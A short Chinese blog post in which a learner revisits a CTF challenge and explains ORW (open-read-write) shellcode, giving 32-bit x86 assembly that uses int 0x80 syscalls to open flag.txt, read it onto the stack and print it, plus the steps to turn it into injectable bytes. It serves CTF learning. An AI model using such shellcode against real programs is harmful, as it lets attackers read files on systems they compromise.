orz

  依稀还记得前段时间做hgame的题,考出了ORW,当时候半懂不懂的就糊弄过去了。现在又学习一遍,感觉思路清晰了很多,所以记录一下。

  上篇随笔写道系统调用,这次的ORW还是通过系统调用实现。顺便贴个系统调用全表的地址:

  http://syscalls.kernelgrok.com/

  在里面可以看到所有函数的调用规则。

  说回ORW,ORW就是open、read、write,通过调用这三个函数,如果在比赛中知道flag 的路径,就不需要拿到shell也可以拿到flag。

  贴一下写的汇编代码了:

  

 1 jmp sh
 2 
 3 run:
 4     pop ebx
 5     mov eax,0x5
 6     mov ecx,0x0
 7     int 0x80
 8 
 9     mov ebx,eax
10     mov eax,0x3
11     mov ecx,esp
12     mov edx,0x10
13     int 0x80
14 
15     mov eax,0x4
16     mov ebx,0x1
17     mov ecx,esp
18     mov edx,0x10
19     int 0x80
20 
21     xor eax,eax
22     inc eax
23     int 0x80
24 sh:
25     call run
26     db"flag.txt",0x0

 

  代码很简单,就是c语言调用了这样的函数。open("flag.txt",0) read($eax,esp,0x10) write(1,esp,0x10)代码可能不规范,但是大致意思是这样的,最后还调用了exit函数。这里学到一条新的汇编,inc是自加的意思。

  接下来就是生成orw.o,用objcopy去除无用代码,xxd -i生成可直接用的code,然后套上篇随笔的模板,就写出来了。

  贴几张图纪念一下。

posted @ 2020-03-12 22:37  不会修电脑  阅读(582)  评论(0编辑  收藏  举报